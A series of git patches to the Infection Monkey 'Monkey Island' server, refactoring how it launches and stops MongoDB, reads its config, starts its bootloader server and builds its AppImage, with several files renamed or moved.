96341b7d870..3ada3bdb15f 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -23,7 +23,17 @@ def __init__(self, db_dir: str, logging_dir: str): self._process = None def start(self): - self._start_mongodb_process() + logger.info("Starting MongoDb process.") + + mongo_run_cmd = MongoDbProcess._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, self._db_dir) + logger.info(f"Mongodb will be launched with command: {' '.join(mongo_run_cmd)}.") + + mongo_log_path = os.path.join(self._logging_dir, MONGO_LOG_FILENAME) + logger.info(f"Mongodb log will be available at {mongo_log_path}.") + + with open(mongo_log_path, "w") as log: + self._process = subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) + logger.info("MongoDb launched successfully!") def stop(self): if self._process: @@ -38,19 +48,6 @@ def stop(self): ) self._process.kill() - def _start_mongodb_process(self): - logger.info("Starting MongoDb process.") - - mongo_run_cmd = MongoDbProcess._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, self._db_dir) - logger.info(f"Mongodb will be launched with command: {' '.join(mongo_run_cmd)}.") - - mongo_log_path = os.path.join(self._logging_dir, MONGO_LOG_FILENAME) - logger.info(f"Mongodb log will be available at {mongo_log_path}.") - - with open(mongo_log_path, "w") as log: - self._process = subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) - logger.info("MongoDb launched successfully!") - @staticmethod def _build_mongo_launch_cmd(exec_path: str, db_dir: str) -> List[str]: return [exec_path, DB_DIR_PARAM, db_dir] From 12b11ce260543711671ae0d2bc47da9c55f0c3a3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 15:19:42 -0400 Subject: [PATCH 0655/1360] island: Rename _build_mongo_launch_cmd -> _build_mongo_run_cmd --- monkey/monkey_island/cc/setup/mongo/mongo_db_process.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index 3ada3bdb15f..29951b1d644 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -25,7 +25,7 @@ def __init__(self, db_dir: str, logging_dir: str): def start(self): logger.info("Starting MongoDb process.") - mongo_run_cmd = MongoDbProcess._build_mongo_launch_cmd(MONGO_EXECUTABLE_PATH, self._db_dir) + mongo_run_cmd = MongoDbProcess._build_mongo_run_cmd(MONGO_EXECUTABLE_PATH, self._db_dir) logger.info(f"Mongodb will be launched with command: {' '.join(mongo_run_cmd)}.") mongo_log_path = os.path.join(self._logging_dir, MONGO_LOG_FILENAME) @@ -49,5 +49,5 @@ def stop(self): self._process.kill() @staticmethod - def _build_mongo_launch_cmd(exec_path: str, db_dir: str) -> List[str]: + def _build_mongo_run_cmd(exec_path: str, db_dir: str) -> List[str]: return [exec_path, DB_DIR_PARAM, db_dir] From e80ac4c9439034e8f546508b1b08cb1038e274f6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 15:32:43 -0400 Subject: [PATCH 0656/1360] island; Build log file path in MongoDbProcess constructor --- .../cc/setup/mongo/mongo_db_process.py | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index 29951b1d644..925405ba58f 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -19,21 +19,21 @@ def __init__(self, db_dir: str, logging_dir: str): @param logging_dir: Path to a folder where mongodb logs will be created """ self._db_dir = db_dir - self._logging_dir = logging_dir + self._log_file = os.path.join(logging_dir, MONGO_LOG_FILENAME) self._process = None def start(self): - logger.info("Starting MongoDb process.") + logger.info("Starting MongoDB process.") mongo_run_cmd = MongoDbProcess._build_mongo_run_cmd(MONGO_EXECUTABLE_PATH, self._db_dir) - logger.info(f"Mongodb will be launched with command: {' '.join(mongo_run_cmd)}.") - mongo_log_path = os.path.join(self._logging_dir, MONGO_LOG_FILENAME) - logger.info(f"Mongodb log will be available at {mongo_log_path}.") + logger.info(f"MongoDB will be launched with command: {' '.join(mongo_run_cmd)}.") + logger.info(f"MongoDB log will be available at {self._log_file}.") - with open(mongo_log_path, "w") as log: + with open(self._log_file, "w") as log: self._process = subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) - logger.info("MongoDb launched successfully!") + + logger.info("MongoDB launched successfully!") def stop(self): if self._process: From cc1865dc5b470753b2e7d2e730fedc4bed63e6ee Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 15:35:46 -0400 Subject: [PATCH 0657/1360] island: Log a warning if MongoDbProcess.stop() is erroniously called --- .../cc/setup/mongo/mongo_db_process.py | 26 +++++++++++-------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index 925405ba58f..0d517bf6d45 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -36,17 +36,21 @@ def start(self): logger.info("MongoDB launched successfully!") def stop(self): - if self._process: - logger.info("Terminating MongoDB process") - self._process.terminate() - try: - self._process.wait(timeout=TERMINATE_TIMEOUT) - logger.info("MongoDB process terminated successfully") - except subprocess.TimeoutExpired as te: - logger.warning( - f"MongoDB did not terminate gracefully and will be forcefully killed: {te}" - ) - self._process.kill() + if not self._process: + logger.warning("Failed to stop MongoDB process: No process found") + return + + logger.info("Terminating MongoDB process") + self._process.terminate() + + try: + self._process.wait(timeout=TERMINATE_TIMEOUT) + logger.info("MongoDB process terminated successfully") + except subprocess.TimeoutExpired as te: + logger.warning( + f"MongoDB did not terminate gracefully and will be forcefully killed: {te}" + ) + self._process.kill() @staticmethod def _build_mongo_run_cmd(exec_path: str, db_dir: str) -> List[str]: From 19e8042ee49bd7c067e3bf944b7949955919c52e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 15:39:49 -0400 Subject: [PATCH 0658/1360] island: Construct mongo run command in MongoDbProcess constructor --- .../cc/setup/mongo/mongo_db_process.py | 16 +++++----------- 1 file changed, 5 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index 0d517bf6d45..61fc6943a67 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -1,7 +1,6 @@ import logging import os import subprocess -from typing import List from monkey_island.cc.server_utils.consts import MONGO_EXECUTABLE_PATH @@ -18,20 +17,19 @@ def __init__(self, db_dir: str, logging_dir: str): @param db_dir: Path where a folder for database contents will be created @param logging_dir: Path to a folder where mongodb logs will be created """ - self._db_dir = db_dir + self._mongo_run_cmd = [MONGO_EXECUTABLE_PATH, DB_DIR_PARAM, db_dir] self._log_file = os.path.join(logging_dir, MONGO_LOG_FILENAME) self._process = None def start(self): logger.info("Starting MongoDB process.") - - mongo_run_cmd = MongoDbProcess._build_mongo_run_cmd(MONGO_EXECUTABLE_PATH, self._db_dir) - - logger.info(f"MongoDB will be launched with command: {' '.join(mongo_run_cmd)}.") + logger.debug(f"MongoDB will be launched with command: {' '.join(self._mongo_run_cmd)}.") logger.info(f"MongoDB log will be available at {self._log_file}.") with open(self._log_file, "w") as log: - self._process = subprocess.Popen(mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log) + self._process = subprocess.Popen( + self._mongo_run_cmd, stderr=subprocess.STDOUT, stdout=log + ) logger.info("MongoDB launched successfully!") @@ -51,7 +49,3 @@ def stop(self): f"MongoDB did not terminate gracefully and will be forcefully killed: {te}" ) self._process.kill() - - @staticmethod - def _build_mongo_run_cmd(exec_path: str, db_dir: str) -> List[str]: - return [exec_path, DB_DIR_PARAM, db_dir] From 1c73a154bcc7f7575e0dec6b6f379223ac88ee77 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 1 Jun 2021 19:43:15 -0400 Subject: [PATCH 0659/1360] appimage: Remove `run_appimage.sh` as it is no longer needed The functionality of setting up the data directory and starting mongodb is now handled in python code. --- appimage/AppRun | 2 +- appimage/build_appimage.sh | 1 - appimage/run_appimage.sh | 14 -------------- 3 files changed, 1 insertion(+), 16 deletions(-) delete mode 100644 appimage/run_appimage.sh diff --git a/appimage/AppRun b/appimage/AppRun index 1a39dddb66f..47f17a7786a 100755 --- a/appimage/AppRun +++ b/appimage/AppRun @@ -25,5 +25,5 @@ do fi done -(PYTHONHOME="${APPDIR}/opt/python3.7" exec "/bin/bash" "${APPDIR}/usr/src/monkey_island/linux/run_appimage.sh") +(PYTHONHOME="${APPDIR}/opt/python3.7" exec "${APPDIR}/opt/python3.7/bin/python3.7" "${APPDIR}/usr/src/monkey_island.py" $@) exit "$?" diff --git a/appimage/build_appimage.sh b/appimage/build_appimage.sh index bce51bc8930..cbc1eec9375 100755 --- a/appimage/build_appimage.sh +++ b/appimage/build_appimage.sh @@ -165,7 +165,6 @@ copy_monkey_island_to_appdir() { cp "$1"/monkey_island.py "$INSTALL_DIR" cp -r "$1"/common "$INSTALL_DIR/" cp -r "$1"/monkey_island "$INSTALL_DIR/" - cp ./run_appimage.sh "$INSTALL_DIR"/monkey_island/linux/ cp ./server_config.json.standard "$INSTALL_DIR"/monkey_island/cc/ # TODO: This is a workaround that may be able to be removed after PR #848 is diff --git a/appimage/run_appimage.sh b/appimage/run_appimage.sh deleted file mode 100644 index d31b41843b0..00000000000 --- a/appimage/run_appimage.sh +++ /dev/null @@ -1,14 +0,0 @@ -#!/bin/bash - -PYTHON_CMD="$APPDIR"/opt/python3.7/bin/python3.7 -DOT_MONKEY="$HOME"/.monkey_island/ - -# shellcheck disable=SC2174 -mkdir --mode=0700 --parents "$DOT_MONKEY" - -DB_DIR="$DOT_MONKEY"/db -mkdir --parents "$DB_DIR" - -cd "$APPDIR"/usr/src || exit 1 -./monkey_island/bin/mongodb/bin/mongod --dbpath "$DB_DIR" & -${PYTHON_CMD} ./monkey_island.py --server-config "$DOT_MONKEY"/server_config.json From 4a1653ed5f7f510ee9dfdfe4b0b589185d823c9a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 19:22:26 -0400 Subject: [PATCH 0660/1360] island: Do not start bootloader server if --setup-only is passed --- monkey/monkey_island/cc/server_setup.py | 26 +++++++++++++------------ 1 file changed, 14 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index ba0ed1411a8..692a945ff9a 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -50,9 +50,7 @@ def run_monkey_island(): connect_to_mongodb() - bootloader_server_thread = _start_bootloader_server(MONGO_URL) _start_island_server(island_args.setup_only, config_options) - bootloader_server_thread.join() def _configure_logging(config_options): @@ -67,16 +65,6 @@ def _initialize_global_resources(config_options: IslandConfigOptions, server_con initialize_services(config_options.data_dir) -def _start_bootloader_server(mongo_url) -> Thread: - bootloader_server_thread = Thread( - target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True - ) - - bootloader_server_thread.start() - - return bootloader_server_thread - - def _start_island_server(should_setup_only, config_options: IslandConfigOptions): populate_exporter_list() app = init_app(MONGO_URL) @@ -90,6 +78,8 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) logger.warning("Setup only flag passed. Exiting.") return + bootloader_server_thread = _start_bootloader_server(MONGO_URL) + if env_singleton.env.is_debug(): app.run(host="0.0.0.0", debug=True, ssl_context=(crt_path, key_path)) else: @@ -102,6 +92,18 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) _log_init_info() http_server.serve_forever() + bootloader_server_thread.join() + + +def _start_bootloader_server(mongo_url) -> Thread: + bootloader_server_thread = Thread( + target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True + ) + + bootloader_server_thread.start() + + return bootloader_server_thread + def _log_init_info(): logger.info("Monkey Island Server is running!") From edbb2c39f3f4088ab4baa95bfce9561aab1bdbff Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 19:44:31 -0400 Subject: [PATCH 0661/1360] island: Trap OSError and JSONDecodeError when reading config --- monkey/monkey_island/cc/server_setup.py | 18 ++++++++++++++++-- monkey/monkey_island/setup/config_setup.py | 2 +- 2 files changed, 17 insertions(+), 3 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 692a945ff9a..1b580336474 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -1,8 +1,10 @@ +import json import logging import os import sys from pathlib import Path from threading import Thread +from typing import Tuple from gevent.pywsgi import WSGIServer @@ -13,8 +15,10 @@ sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 +import monkey_island.setup.config_setup as config_setup # noqa: E402 from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 +from monkey_island.cc.arg_parser import IslandCmdArgs # noqa: E402 from monkey_island.cc.arg_parser import parse_cli_args # noqa: E402 from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402 from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402 @@ -31,7 +35,6 @@ register_mongo_shutdown_callback, start_mongodb, ) -from monkey_island.setup.config_setup import setup_data_dir # noqa: E402 from monkey_island.setup.island_config_options import IslandConfigOptions # noqa: E402 logger = logging.getLogger(__name__) @@ -39,7 +42,7 @@ def run_monkey_island(): island_args = parse_cli_args() - config_options, server_config_path = setup_data_dir(island_args) + config_options, server_config_path = _setup_data_dir(island_args) _configure_logging(config_options) _initialize_global_resources(config_options, server_config_path) @@ -53,6 +56,17 @@ def run_monkey_island(): _start_island_server(island_args.setup_only, config_options) +def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]: + try: + return config_setup.setup_data_dir(island_args) + except OSError as ex: + print(f"Error opening server config file: {ex}") + exit(1) + except json.JSONDecodeError as ex: + print(f"Error loading server config: {ex}") + exit(1) + + def _configure_logging(config_options): reset_logger() setup_logging(config_options.data_dir, config_options.log_level) diff --git a/monkey/monkey_island/setup/config_setup.py b/monkey/monkey_island/setup/config_setup.py index 95ebbc19440..f33d2ff24cd 100644 --- a/monkey/monkey_island/setup/config_setup.py +++ b/monkey/monkey_island/setup/config_setup.py @@ -8,7 +8,7 @@ from monkey_island.setup.island_config_options import IslandConfigOptions -def setup_data_dir(island_args: IslandCmdArgs): +def setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]: if island_args.server_config_path: return _setup_config_by_cmd_arg(island_args.server_config_path) From 5f25debfd2e03199ac667e7e90da5a02606692bc Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 20:12:03 -0400 Subject: [PATCH 0662/1360] island: Decouple mongo_setup from IslandConfigOptions --- monkey/monkey_island/cc/server_setup.py | 2 +- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 7 +++---- 2 files changed, 4 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 1b580336474..0ee516db34b 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -48,7 +48,7 @@ def run_monkey_island(): _initialize_global_resources(config_options, server_config_path) if config_options.start_mongodb: - mongo_db_process = start_mongodb(config_options) + mongo_db_process = start_mongodb(config_options.data_dir) register_mongo_shutdown_callback(mongo_db_process) connect_to_mongodb() diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 2920fc8bbc1..44252c2029c 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -9,7 +9,6 @@ from monkey_island.cc.setup.mongo import mongo_connector from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess -from monkey_island.setup.island_config_options import IslandConfigOptions DB_DIR_NAME = "db" MONGO_URL = os.environ.get( @@ -21,10 +20,10 @@ logger = logging.getLogger(__name__) -def start_mongodb(config_options: IslandConfigOptions) -> MongoDbProcess: - db_dir = _create_db_dir(config_options.data_dir) +def start_mongodb(data_dir: str) -> MongoDbProcess: + db_dir = _create_db_dir(data_dir) - mongo_db_process = MongoDbProcess(db_dir=db_dir, logging_dir=config_options.data_dir) + mongo_db_process = MongoDbProcess(db_dir=db_dir, logging_dir=data_dir) mongo_db_process.start() return mongo_db_process From 44a3456c626d85228608c877c5130ec22bc36e0f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 2 Jun 2021 20:15:16 -0400 Subject: [PATCH 0663/1360] island: Remove the responsibility of choosing a log file from MongoDbProcess --- monkey/monkey_island/cc/setup/mongo/mongo_db_process.py | 8 +++----- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 4 +++- 2 files changed, 6 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py index 61fc6943a67..0a3b55d19f3 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_db_process.py @@ -1,5 +1,4 @@ import logging -import os import subprocess from monkey_island.cc.server_utils.consts import MONGO_EXECUTABLE_PATH @@ -7,18 +6,17 @@ logger = logging.getLogger(__name__) DB_DIR_PARAM = "--dbpath" -MONGO_LOG_FILENAME = "mongodb.log" TERMINATE_TIMEOUT = 10 class MongoDbProcess: - def __init__(self, db_dir: str, logging_dir: str): + def __init__(self, db_dir: str, log_file: str): """ @param db_dir: Path where a folder for database contents will be created - @param logging_dir: Path to a folder where mongodb logs will be created + @param log_file: Path to the file that will contain mongodb logs """ self._mongo_run_cmd = [MONGO_EXECUTABLE_PATH, DB_DIR_PARAM, db_dir] - self._log_file = os.path.join(logging_dir, MONGO_LOG_FILENAME) + self._log_file = log_file self._process = None def start(self): diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 44252c2029c..e62bbcdb713 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -11,6 +11,7 @@ from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess DB_DIR_NAME = "db" +MONGO_LOG_FILENAME = "mongodb.log" MONGO_URL = os.environ.get( "MONKEY_MONGO_URL", "mongodb://{0}:{1}/{2}".format(MONGO_DB_HOST, MONGO_DB_PORT, MONGO_DB_NAME), @@ -22,8 +23,9 @@ def start_mongodb(data_dir: str) -> MongoDbProcess: db_dir = _create_db_dir(data_dir) + log_file = os.path.join(data_dir, MONGO_LOG_FILENAME) - mongo_db_process = MongoDbProcess(db_dir=db_dir, logging_dir=data_dir) + mongo_db_process = MongoDbProcess(db_dir=db_dir, log_file=log_file) mongo_db_process.start() return mongo_db_process From 3917663c5caaae466ff70bd8841cd9aeca526f8d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 11:00:12 -0400 Subject: [PATCH 0664/1360] island: Rename startup.py -> main.py --- monkey/monkey_island/{startup.py => main.py} | 0 monkey/monkey_island/monkey_island.spec | 2 +- 2 files changed, 1 insertion(+), 1 deletion(-) rename monkey/monkey_island/{startup.py => main.py} (100%) diff --git a/monkey/monkey_island/startup.py b/monkey/monkey_island/main.py similarity index 100% rename from monkey/monkey_island/startup.py rename to monkey/monkey_island/main.py diff --git a/monkey/monkey_island/monkey_island.spec b/monkey/monkey_island/monkey_island.spec index 9994fbffd87..7122227c239 100644 --- a/monkey/monkey_island/monkey_island.spec +++ b/monkey/monkey_island/monkey_island.spec @@ -16,7 +16,7 @@ def main(): ("../monkey_island/cc/services/attack/attack_data", "/monkey_island/cc/services/attack/attack_data") ] - a = Analysis(['startup.py'], + a = Analysis(['main.py'], pathex=['..'], hiddenimports=get_hidden_imports(), hookspath=[os.path.join(".", "pyinstaller_hooks")], From c40af5073b1fc61cd17aed0ef4a653952ec93013 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 11:01:03 -0400 Subject: [PATCH 0665/1360] island: Rename start_island() -> main() --- monkey/monkey_island.py | 4 ++-- monkey/monkey_island/main.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/monkey_island.py b/monkey/monkey_island.py index b51ffcb9467..d1510c46f01 100644 --- a/monkey/monkey_island.py +++ b/monkey/monkey_island.py @@ -1,4 +1,4 @@ -from monkey_island.startup import start_island +from monkey_island.main import main if "__main__" == __name__: - start_island() + main() diff --git a/monkey/monkey_island/main.py b/monkey/monkey_island/main.py index 90dcd577e29..19cf07d9ffd 100644 --- a/monkey/monkey_island/main.py +++ b/monkey/monkey_island/main.py @@ -4,7 +4,7 @@ from monkey_island.cc.server_utils.island_logger import setup_default_failsafe_logging -def start_island(): +def main(): # This is here in order to catch EVERYTHING, some functions are being called on # imports, so the log init needs to be first. try: @@ -19,4 +19,4 @@ def start_island(): if "__main__" == __name__: - start_island() + main() From 92293e601c307e335911cb6d536b68f7ab7e5771 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 11:04:16 -0400 Subject: [PATCH 0666/1360] island: Add unit test for MONKEY_ISLAND_ABS_PATH If the consts.py is moved, MONKEY_ISLAND_ABS_PATH may be incorrect. This unit test guards against the introduction of a bug if consts.py is moved. --- .../unit_tests/monkey_island/cc/server_utils/test_consts.py | 5 +++++ 1 file changed, 5 insertions(+) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py new file mode 100644 index 00000000000..eeb600b9b49 --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/server_utils/test_consts.py @@ -0,0 +1,5 @@ +from monkey_island.cc.server_utils import consts + + +def test_monkey_island_abs_path(): + assert consts.MONKEY_ISLAND_ABS_PATH.endswith("monkey_island") From 4f97be59c33ef5d11cb020ff63bac3e2c10a2d07 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 11:06:04 -0400 Subject: [PATCH 0667/1360] island: Rename _initialize_global_resources -> _initialize_globals --- monkey/monkey_island/cc/server_setup.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 0ee516db34b..2e1cb2ebe03 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -45,7 +45,7 @@ def run_monkey_island(): config_options, server_config_path = _setup_data_dir(island_args) _configure_logging(config_options) - _initialize_global_resources(config_options, server_config_path) + _initialize_globals(config_options, server_config_path) if config_options.start_mongodb: mongo_db_process = start_mongodb(config_options.data_dir) @@ -72,7 +72,7 @@ def _configure_logging(config_options): setup_logging(config_options.data_dir, config_options.log_level) -def _initialize_global_resources(config_options: IslandConfigOptions, server_config_path: str): +def _initialize_globals(config_options: IslandConfigOptions, server_config_path: str): env_singleton.initialize_from_file(server_config_path) initialize_encryptor(config_options.data_dir) From ac407bf48a557292a54aff0595e7a16dcfaf9b00 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 11:09:07 -0400 Subject: [PATCH 0668/1360] island: Remove unused mongo_url from BootloaderHttpServer constructor --- monkey/monkey_island/cc/server_setup.py | 8 +++----- monkey/monkey_island/cc/server_utils/bootloader_server.py | 2 +- 2 files changed, 4 insertions(+), 6 deletions(-) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 2e1cb2ebe03..c9b5df43646 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -92,7 +92,7 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) logger.warning("Setup only flag passed. Exiting.") return - bootloader_server_thread = _start_bootloader_server(MONGO_URL) + bootloader_server_thread = _start_bootloader_server() if env_singleton.env.is_debug(): app.run(host="0.0.0.0", debug=True, ssl_context=(crt_path, key_path)) @@ -109,10 +109,8 @@ def _start_island_server(should_setup_only, config_options: IslandConfigOptions) bootloader_server_thread.join() -def _start_bootloader_server(mongo_url) -> Thread: - bootloader_server_thread = Thread( - target=BootloaderHttpServer(mongo_url).serve_forever, daemon=True - ) +def _start_bootloader_server() -> Thread: + bootloader_server_thread = Thread(target=BootloaderHttpServer().serve_forever, daemon=True) bootloader_server_thread.start() diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py index d43d9318b6c..bfdd42cf278 100644 --- a/monkey/monkey_island/cc/server_utils/bootloader_server.py +++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py @@ -15,7 +15,7 @@ class BootloaderHttpServer(ThreadingMixIn, HTTPServer): - def __init__(self, mongo_url): + def __init__(self): server_address = ("", 5001) super().__init__(server_address, BootloaderHTTPRequestHandler) From 623d551c6c666623777ef12c47f600515568ed6e Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 11:12:39 -0400 Subject: [PATCH 0669/1360] island: Move setup/config_setup.py -> cc/setup/config_setup.py --- monkey/monkey_island/cc/server_setup.py | 2 +- monkey/monkey_island/{ => cc}/setup/config_setup.py | 0 2 files changed, 1 insertion(+), 1 deletion(-) rename monkey/monkey_island/{ => cc}/setup/config_setup.py (100%) diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index c9b5df43646..095d7197f06 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -15,7 +15,7 @@ sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH) import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402 -import monkey_island.setup.config_setup as config_setup # noqa: E402 +import monkey_island.cc.setup.config_setup as config_setup # noqa: E402 from common.version import get_version # noqa: E402 from monkey_island.cc.app import init_app # noqa: E402 from monkey_island.cc.arg_parser import IslandCmdArgs # noqa: E402 diff --git a/monkey/monkey_island/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py similarity index 100% rename from monkey/monkey_island/setup/config_setup.py rename to monkey/monkey_island/cc/setup/config_setup.py From 03b543f7f6a7f8fab21c530318607071a5d54815 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 3 Jun 2021 11:16:02 -0400 Subject: [PATCH 0670/1360] island: Move setup/island_config_options.py -> cc/setup/ --- monkey/monkey_island/cc/environment/server_config_handler.py | 2 +- monkey/monkey_island/cc/server_setup.py | 2 +- monkey/monkey_island/cc/setup/config_setup.py | 2 +- monkey/monkey_island/{ => cc}/setup/island_config_options.py | 0 .../monkey_island/{ => cc}/setup/test_island_config_options.py | 2 +- 5 files changed, 4 insertions(+), 4 deletions(-) rename monkey/monkey_island/{ => cc}/setup/island_config_options.py (100%) rename monkey/tests/unit_tests/monkey_island/{ => cc}/setup/test_island_config_options.py (96%) diff --git a/monkey/monkey_island/cc/environment/server_config_handler.py b/monkey/monkey_island/cc/environment/server_config_handler.py index fc59386947a..f1e2358c4e2 100644 --- a/monkey/monkey_island/cc/environment/server_config_handler.py +++ b/monkey/monkey_island/cc/environment/server_config_handler.py @@ -6,7 +6,7 @@ DEFAULT_DEVELOP_SERVER_CONFIG_PATH, DEFAULT_SERVER_CONFIG_PATH, ) -from monkey_island.setup.island_config_options import IslandConfigOptions +from monkey_island.cc.setup.island_config_options import IslandConfigOptions def create_default_server_config_file() -> None: diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py index 095d7197f06..4eaa13131df 100644 --- a/monkey/monkey_island/cc/server_setup.py +++ b/monkey/monkey_island/cc/server_setup.py @@ -28,6 +28,7 @@ from monkey_island.cc.services.initialize import initialize_services # noqa: E402 from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402 from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402 +from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402 from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402 from monkey_island.cc.setup.mongo.mongo_setup import ( # noqa: E402 MONGO_URL, @@ -35,7 +36,6 @@ register_mongo_shutdown_callback, start_mongodb, ) -from monkey_island.setup.island_config_options import IslandConfigOptions # noqa: E402 logger = logging.getLogger(__name__) diff --git a/monkey/monkey_island/cc/setup/config_setup.py b/monkey/monkey_island/cc/setup/config_setup.py index f33d2ff24cd..6cc0367608f 100644 --- a/monkey/monkey_island/cc/setup/config_setup.py +++ b/monkey/monkey_island/cc/setup/config_setup.py @@ -5,7 +5,7 @@ from 